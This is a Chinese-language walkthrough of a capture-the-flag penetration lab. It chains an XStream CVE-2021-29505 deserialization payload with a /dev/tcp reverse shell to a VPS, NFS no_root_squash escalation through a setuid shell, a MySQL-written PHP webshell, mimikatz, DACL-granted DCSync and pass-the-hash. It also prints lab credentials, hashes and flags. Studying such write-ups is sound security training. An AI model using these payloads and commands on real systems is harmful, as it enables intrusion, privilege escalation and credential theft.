XStream反序列化反弹shell
扫描端口
1 2 3 4 5 6 7 8
| rustscan -a 39.98.107.194 -r 1-65535
Open 39.98.107.194:25 Open 39.98.107.194:22 Open 39.98.107.194:21 Open 39.98.107.194:110 Open 39.98.107.194:80 Open 39.98.107.194:8080
|
是一个linux主机
同时存在一个匿名ftp
从pom.xml得知了网站的依赖项
使用了cc3.2.1和xstream1.4.16
80端口是apache的默认页面,8080端口是正常web页面
其数据包格式为xm
应该就是利用xstream的漏洞CVE-2021-29505,配合cc链打反序列化,参考CVE-2021-29505 XStream
先将bash命令进行base64编码,工具站:https://ares-x.com/tools/runtime-exec/
1
| /bin/bash -i>& /dev/tcp/38.xxx.xxx.171/9001 0>&1
|
然后vps用ysoserial开启监听,并指定cc链,因为cc6不受jdk版本限制,所以优先使用cc6
1
| java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1001 CommonsCollections6 "base64编码shell"
|
官方poc有些问题,参考XStream CVE-2021-29505 poc修正
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| <java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: none</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'> <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'> <parsedMessage>true</parsedMessage> <soapVersion>SOAP_11</soapVersion> <bodyParts/> <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> <attachmentsInitialized>false</attachmentsInitialized> <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'> <soapPart/> <mm> <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'> <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'> <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'> <names> <string>aa</string> <string>aa</string> </names> <ctx> <environment/> <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'> <java.rmi.server.RemoteObject> <string>UnicastRef</string> <string>vpsid</string> <int>vpsport</int> <long>0</long> <int>0</int> <long>0</long> <short>0</short> <boolean>false</boolean> </java.rmi.server.RemoteObject> </registry> <host>vpsip</host> <port>vpsport</port> </ctx> </candidates> </aliases> </it> </mm> </multiPart> </sm> </message> </value> </javax.naming.ldap.Rdn_-RdnEntry> </java.util.PriorityQueue> </java.util.PriorityQueue>
|
得到shell,而且还是root权限
得到flag01: flag{fd90fa8f-a0c4-4b58-abcd-c4eaf971df04}
NFS挂载ssh连接
上传fscan扫描内网
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| ./fscan_386 -h 172.22.13.0/24
___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.2 start infoscan (icmp) Target 172.22.13.6 is alive (icmp) Target 172.22.13.14 is alive (icmp) Target 172.22.13.28 is alive (icmp) Target 172.22.13.57 is alive [*] Icmp alive hosts len is: 4 172.22.13.6:135 open 172.22.13.6:88 open 172.22.13.14:8080 open 172.22.13.28:8000 open 172.22.13.28:3306 open 172.22.13.28:445 open 172.22.13.6:445 open 172.22.13.28:139 open 172.22.13.14:21 open 172.22.13.6:139 open 172.22.13.28:135 open 172.22.13.28:80 open 172.22.13.57:80 open 172.22.13.57:22 open 172.22.13.14:80 open 172.22.13.14:22 open [*] alive ports len is: 16 start vulscan [*] WebTitle: http://172.22.13.14 code:200 len:10918 title:Apache2 Ubuntu Default Page: It works [*] WebTitle: http://172.22.13.14:8080 code:200 len:3655 title:公司发货单 [*] NetInfo: [*]172.22.13.6 [->]WIN-DC [->]172.22.13.6 [*] NetInfo: [*]172.22.13.28 [->]WIN-HAUWOLAO [->]172.22.13.28 [*] NetBios: 172.22.13.6 [+]DC XIAORANG\WIN-DC [*] WebTitle: http://172.22.13.57 code:200 len:4833 title:Welcome to CentOS [*] WebTitle: http://172.22.13.28 code:200 len:2525 title:欢迎登录OA办公平台 [+] ftp://172.22.13.14:21:anonymous [->]1.txt [->]pom.xml [*] NetBios: 172.22.13.28 WIN-HAUWOLAO.xiaorang.lab Windows Server 2016 Datacenter 14393 [*] WebTitle: http://172.22.13.28:8000 code:200 len:170 title:Nothing Here. [+] mysql:172.22.13.28:3306:root 123456 已完成 16/16
|
梳理如下
1 2 3 4
| 172.22.13.28 WIN-HAUWOLAO.xiaorang.lab 数据中心 有弱口令 有OA系统 172.22.13.6 域控 172.22.13.57 域内主机 172.22.13.14 本机
|
上传frp搭建内网穿透
先看oa系统
貌似就是个页面,也登录不了
数据库里也没啥东西
还是先去看172.22.13.57
吧,根据题目描述是打NFS的漏洞,查看发现确实开启了2049端口
1 2 3
| proxychains4 -q showmount -e 172.22.13.57 Export list for 172.22.13.57: /home/joyce *
|
发现可以挂载/home/joyce
目录
在172.22.13.14这个机器上进行挂载,需要先安装nfs-common软件包
1 2
| sudo apt-get update sudo apt-get install nfs-common
|
创建一个目录,然后挂载
1
| mount -t nfs 172.22.13.57:/home /tmp/mount
|
成功挂载
使用ls -a
查看文件
测试发现我对joyce目录有写权限,所以可以通过上传ssh公钥来进行ssh连接
先本地创建一个joyce用户,并根据挂载的joyce目录的uid和gid来设置本地joyce的uid和gid
需要设置为996和994
创建组和用户joyce
1 2
| groupadd -g 994 joyce useradd -uid 996 -gid 994 joyce
|
然后切换到joyce用户,生成公钥并将其复制到挂载目录下joyce的.ssh文件夹下
1
| cat /home/joyce/.ssh/id_rsa.pub >> /tmp/mount/joyce/.ssh/authorized_keys
|
并赋予权限
1 2
| chmod 700 /tmp/mount/joyce/.ssh chmod 600 /tmp/mount/joyce/.ssh/authorized_keys
|
然后在joyce用户下直接ssh连接,要先用pty设置terminal,否则无法ssh连接
1 2
| python3 -c 'import pty;pty.spawn("/bin/bash")' ssh joyce@172.22.13.57
|
成功登录172.22.13.57主机
no_root_squash编译高权限shell
查看/etc/exports
,可以发现共享卷的参数存在不安全参数no_root_squash
root_squash
和no_root_squash
是NFS(Network File System)服务器上的两个选项,用于控制对共享文件系统中root用户的访问权限。
root_squash
:当客户端以root用户身份连接到NFS服务器时,该选项将把root用户的权限映射为匿名用户(通常是nobody或nfsnobody),从而限制其对共享文件系统的访问权限。这样可以提高系统的安全性,防止恶意root用户对共享文件系统进行未经授权的访问或修改。
no_root_squash
:与root_squash
相反,当客户端以root用户身份连接到NFS服务器时,该选项将保留root用户的权限,允许其对共享文件系统拥有完全的访问权限。这样可以提供更高的灵活性,但也会增加系统的安全风险,因为root用户可能会对共享文件系统进行未经授权的访问或修改。
所以可以用来创建suid位的可执行文件
将以下内容的文件放到vps上
1 2 3 4 5
| #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main() { setuid(0); system("/bin/bash"); return 0; }
|
然后回到之前的那台有root权限的主机上,将此文件下载下来放到挂载的目录下
编译,然后设置suid,
1 2 3
| wget http://vps:9020/s.c gcc s.c -o shell chmod +s shell
|
然后su到joyce用户再ssh连接172.22.13.57主机,执行shell文件,即可获得root权限
获得flag02: flag{7ac9f23a-34b2-48c3-88fb-d9433df8d44e} 还有一个hint:hint: relay race
phpstudy高权限写日志马
在根目录下的pAss.txt
文件获得一个凭据
1
| xiaorang.lab/zhangwen\QT62f3gBhK1
|
尝试利用这个凭据去登录WIN-HAUWOLAO.xiaorang.la
主机
而且开启了3389端口
使用这个凭据成功登录172.22.13.28主机
OA系统网站果然只有一个index.html
这里需要提权,知道secure_file_priv的值不为null。所以尝试利用mysql进行udf提权,
但是写udf失败了,失败之后就得重启靶机了,艹
还有phpstudy,当网站是用phpstudy搭建的时候,php命令的执行权限通常为管理员用户或者是 SYSTEM 权限,通过日志写马的方式就可以获得高权限的webshell
所以通过mysql写日志的方式来写webshell
1
| select "<?php eval($_POST[1]);?>" into OUTFILE "C:\\phpstudy_pro\\WWW\\shell.php"
|
然后蚁剑连接,要给蚁剑设置socket代理
到的flag03: flag{a2752cf5-9ffc-47b3-a74e-83c9c80831aa}
修改DACL进行DCSync
用Sharphound和三头狗来分析域信息
1
| Sharphound.exe --CollectionMethods ALL --Domain XIAORANG.LAB
|
可以看到CHENGLEI在WIN-HAUWOLAO主机上登录过,而他又是属于ACL ADMIN组
他这里的ACL ADMIN组对域内用户拥有WriteDACL权限,就可以修改普通用户让普通用户获得DCSync的权限,来获取域管理员的凭据
用mimikatz抓取凭据
1
| mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
|
抓到chenglei的凭据
1 2 3 4 5 6 7 8 9 10
| kerberos : * Username : chenglei * Domain : XIAORANG.LAB * Password : Xt61f3LBhg1
* Username : chenglei * Domain : XIAORANG * NTLM : 0c00801c30594a1b8eaa889d237c5382 * SHA1 : e8848f8a454e08957ec9814b9709129b7101fad7 * DPAPI : 89b179dc738db098372c365602b7b0f4
|
用这个凭据去修改他自己的acl,让其拥有DCSync权限
1
| proxychains4 -q python3 dacledit.py xiaorang.lab/chenglei -hashes :0c00801c30594a1b8eaa889d237c5382 -action write -rights DCSync -principal chenglei -target-dn 'DC=xiaorang,DC=lab' -dc-ip 172.22.13.6
|
利用DCSync导出域控的凭据
1
| proxychains4 -q python3 secretsdump.py xiaorang.lab/chenglei@172.22.13.6 -hashes :0c00801c30594a1b8eaa889d237c5382 -just-dc-user administrator
|
得到域管hash
1 2 3 4 5 6 7 8
| *] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:6341235defdaed66fb7b682665752c9a::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:d0f9c9b1bea5b90f9547952d2009bda6e1aab23ff2862bf9afb2be793709f0cd Administrator:aes128-cts-hmac-sha1-96:afeaadd6987386ed1e8938fb9e167e6c Administrator:des-cbc-md5:cb584c08e308a4ae [*] Cleaning up...
|
登录之
1
| proxychains4 -q python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:6341235defdaed66fb7b682665752c9a administrator@172.22.13.6
|
得到flag04: flag{8065fe0f-e6ac-4826-929e-3294184ac1e8}